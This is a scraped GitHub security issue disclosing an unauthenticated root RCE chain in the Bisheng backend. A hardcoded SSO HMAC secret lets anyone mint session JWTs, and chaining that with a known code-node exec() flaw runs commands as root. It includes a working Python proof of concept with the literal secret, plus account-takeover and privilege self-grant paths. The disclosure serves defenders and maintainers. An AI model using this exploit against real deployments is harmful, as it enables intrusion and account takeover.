You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Unauthenticated RCE: shipped config.yaml hardcodes gateway HMAC secret and the documented env override does not work, turning /api/v1/internal/sso/login-sync into a JWT-minting endpoint #2415
The SSO gateway HMAC secret shipped in the bundled docker/bisheng/config/config.yaml is a hardcoded literal (gateway_hmac_secret: "bisheng-local-hmac-20260422"), and the env-var override documented in the code (BS_SSO_SYNC__GATEWAY_HMAC_SECRET, also pre-set in docker/docker-compose.yml) does not actually take effect. As a result, every default deployment accepts forged gateway requests, and POST /api/v1/internal/sso/login-sync becomes an unauthenticated JWT-minting endpoint: anyone who can reach the API obtains a valid, freshly-signed session JWT for an attacker-chosen user identity, without any account or prior credential.
Chained with the already-public run_once code-execution issue (#2189, CVE-2026-82278), this yields full unauthenticated RCE as root on default deployments — and unlike the mitigation implied by #2189 (rotate jwt_secret), this chain does not depend on jwt_secret at all. Deployments that rotated jwt_secret after #2189 remain fully vulnerable.
Verified end-to-end against the official image dataelement/bisheng-backend:v3.0.0-beta1 with the default compose configuration: uid=0(root) command output returned over HTTP.
Details
1. Hardcoded HMAC secret, and an env override that silently does nothing
docker/bisheng/config/config.yaml (volume-mounted by docker/docker-compose.yml) contains a plain literal:
The same literal is present in the v2.6.0 and v3.0.0-beta1-fix trees. The compose file also sets BS_SSO_SYNC__GATEWAY_HMAC_SECRET, and the config field description (src/backend/bisheng/core/config/sso_sync.py:19) tells operators to override via that env var — but neither works:
Settings is a plain pydantic.BaseModel (core/config/settings.py:760), notBaseSettings, so pydantic never reads env vars. The only env mechanism in the config service is the YAML !env ${VAR} tag constructor (common/services/config_service.py:85-93), and the shipped config.yaml uses a literal string, not !env.
Verified in-container: with BS_SSO_SYNC__GATEWAY_HMAC_SECRET set to a different value, a freshly constructed ConfigService() still yields sso_sync.gateway_hmac_secret == '' (defaults) — i.e. the effective secret comes solely from the mounted YAML literal, and an operator who "rotates the env var" changes nothing at runtime.
(When no config.yaml is mounted, the secret defaults to '' and the HMAC endpoints fail closed — so the exploit requires exactly what the official deployment template ships.)
2. The HMAC gate mints real sessions
src/backend/bisheng/sso_sync/domain/services/hmac_auth.py:58 — signature is HMAC-SHA256(secret, "METHOD\nPATH\n" + raw_body), sent in X-Signature. There is no replay protection (no timestamp window on the signature, and ts is only a body field, not authenticated freshness).
POST /api/v1/internal/sso/login-sync (sso_sync/api/endpoints/login_sync.py:24) is mounted unconditionally (api/router.py:85), is exempt from JWT auth (utils/http_middleware.py exempt paths), and calls LoginSyncService.execute, which upserts the user row for any external_user_id and returns a freshly signed JWT (token field) using the real AuthJwt and the real DB token_version (sso_sync/domain/services/login_sync_service.py:231-246).
Additional impact from the same endpoint:
Existing-account takeover: the legacy-adoption path (login_sync_service.py:263-295) binds the minted session to an existing user when the attacker knows their external_id (e.g. employee IDs are guessable/enumerable in many orgs).
Privilege self-grant: primary_dept_external_id / department_admin_external_ids in the same payload drive OpenFGA department:{id}#admin@user:{uid} grants (login_sync_service.py:180-184, 617+). The sibling endpoints /api/v1/departments/sync and /api/v1/internal/sso/gateway-wecom-org-sync are protected by the same hardcoded secret only.
3. From a minted low-privilege session to root RCE
The minted user (default role) can create their own workflow (POST /api/v1/workflow/create, login + quota only) and then execute the already-documented run_once code-node issue (#2189 / CVE-2026-82278) against their own workflow, which runs unsandboxed Python via bare exec() (workflow/nodes/code/code_parse.py:92,96). The backend container runs as root.
Proof of Concept
Fully unauthenticated, on dataelement/bisheng-backend:v3.0.0-beta1 with default compose config:
importhmac, hashlib, json, time, urllib.requestBASE="http://127.0.0.1:7860"SECRET="bisheng-local-hmac-20260422"# shipped config.yaml:35PATH="/api/v1/internal/sso/login-sync"body=json.dumps({"external_user_id": "poc-user-1", "ts": int(time.time())}).encode()
sig=hmac.new(SECRET.encode(), f"POST\n{PATH}\n".encode() +body, hashlib.sha256).hexdigest()
req=urllib.request.Request(BASE+PATH, data=body, method="POST")
req.add_header("Content-Type", "application/json")
req.add_header("X-Signature", sig)
token=json.loads(urllib.request.urlopen(req).read())["data"]["token"]
# -> valid JWT for a freshly created account, no credentials supplied# Step 2: create own workflow (login + quota only)# POST /api/v1/workflow/create Cookie: access_token_cookie=<token> {"name": "poc"}# Step 3: run_once a Code node (see #2189) against that workflow id:# node_data.data.type = "code", group_params: code = "def main():\n ... subprocess ..."# Observed response: {"out": "uid=0(root) gid=0(root) groups=0(root)"}
Account takeover of existing users whose external_id is known.
Unauthorized privilege self-grant to department admin via the same forged requests (also /api/v1/departments/sync, /api/v1/internal/sso/gateway-wecom-org-sync).
Affects the full release line: the hardcoded secret and the login-sync endpoint are present in v2.6.0 through v3.0.0-beta1-fix (14/14 release tags audited).
Disclosure note
Reported publicly following the same route as #2189/#2190 (private security-advisory drafts on this repository have historically received no response, and those issues remain open with no vendor comment as of today). Versions audited: v2.5.0 → v3.0.0-beta1-fix. Related prior art: #2189 (authenticated run_once RCE), #2190 (unauthenticated SSRF), CVE-2026-82278, CVE-2026-82285.
Summary
The SSO gateway HMAC secret shipped in the bundled
docker/bisheng/config/config.yamlis a hardcoded literal (gateway_hmac_secret: "bisheng-local-hmac-20260422"), and the env-var override documented in the code (BS_SSO_SYNC__GATEWAY_HMAC_SECRET, also pre-set indocker/docker-compose.yml) does not actually take effect. As a result, every default deployment accepts forged gateway requests, andPOST /api/v1/internal/sso/login-syncbecomes an unauthenticated JWT-minting endpoint: anyone who can reach the API obtains a valid, freshly-signed session JWT for an attacker-chosen user identity, without any account or prior credential.Chained with the already-public
run_oncecode-execution issue (#2189, CVE-2026-82278), this yields full unauthenticated RCE as root on default deployments — and unlike the mitigation implied by #2189 (rotatejwt_secret), this chain does not depend onjwt_secretat all. Deployments that rotatedjwt_secretafter #2189 remain fully vulnerable.Verified end-to-end against the official image
dataelement/bisheng-backend:v3.0.0-beta1with the default compose configuration:uid=0(root)command output returned over HTTP.Details
1. Hardcoded HMAC secret, and an env override that silently does nothing
docker/bisheng/config/config.yaml(volume-mounted bydocker/docker-compose.yml) contains a plain literal:The same literal is present in the v2.6.0 and v3.0.0-beta1-fix trees. The compose file also sets
BS_SSO_SYNC__GATEWAY_HMAC_SECRET, and the config field description (src/backend/bisheng/core/config/sso_sync.py:19) tells operators to override via that env var — but neither works:Settingsis a plainpydantic.BaseModel(core/config/settings.py:760), notBaseSettings, so pydantic never reads env vars. The only env mechanism in the config service is the YAML!env ${VAR}tag constructor (common/services/config_service.py:85-93), and the shippedconfig.yamluses a literal string, not!env.BS_SSO_SYNC__GATEWAY_HMAC_SECRETset to a different value, a freshly constructedConfigService()still yieldssso_sync.gateway_hmac_secret == ''(defaults) — i.e. the effective secret comes solely from the mounted YAML literal, and an operator who "rotates the env var" changes nothing at runtime.(When no config.yaml is mounted, the secret defaults to
''and the HMAC endpoints fail closed — so the exploit requires exactly what the official deployment template ships.)2. The HMAC gate mints real sessions
src/backend/bisheng/sso_sync/domain/services/hmac_auth.py:58— signature isHMAC-SHA256(secret, "METHOD\nPATH\n" + raw_body), sent inX-Signature. There is no replay protection (no timestamp window on the signature, andtsis only a body field, not authenticated freshness).POST /api/v1/internal/sso/login-sync(sso_sync/api/endpoints/login_sync.py:24) is mounted unconditionally (api/router.py:85), is exempt from JWT auth (utils/http_middleware.pyexempt paths), and callsLoginSyncService.execute, which upserts the user row for anyexternal_user_idand returns a freshly signed JWT (tokenfield) using the realAuthJwtand the real DBtoken_version(sso_sync/domain/services/login_sync_service.py:231-246).Additional impact from the same endpoint:
login_sync_service.py:263-295) binds the minted session to an existing user when the attacker knows theirexternal_id(e.g. employee IDs are guessable/enumerable in many orgs).primary_dept_external_id/department_admin_external_idsin the same payload drive OpenFGAdepartment:{id}#admin@user:{uid}grants (login_sync_service.py:180-184, 617+). The sibling endpoints/api/v1/departments/syncand/api/v1/internal/sso/gateway-wecom-org-syncare protected by the same hardcoded secret only.3. From a minted low-privilege session to root RCE
The minted user (default role) can create their own workflow (
POST /api/v1/workflow/create, login + quota only) and then execute the already-documentedrun_oncecode-node issue (#2189 / CVE-2026-82278) against their own workflow, which runs unsandboxed Python via bareexec()(workflow/nodes/code/code_parse.py:92,96). The backend container runs as root.Proof of Concept
Fully unauthenticated, on
dataelement/bisheng-backend:v3.0.0-beta1with default compose config:Observed server response for step 3:
{"status_code": 200, "data": [[{"key": "code_output", "value": {"out": "uid=0(root) gid=0(root) groups=0(root)"}}]]}Impact
jwt_secretrotation.external_idis known./api/v1/departments/sync,/api/v1/internal/sso/gateway-wecom-org-sync).Disclosure note
Reported publicly following the same route as #2189/#2190 (private security-advisory drafts on this repository have historically received no response, and those issues remain open with no vendor comment as of today). Versions audited:
v2.5.0→v3.0.0-beta1-fix. Related prior art: #2189 (authenticated run_once RCE), #2190 (unauthenticated SSRF), CVE-2026-82278, CVE-2026-82285.— dreamfly0908 · GitHub: NightGlowww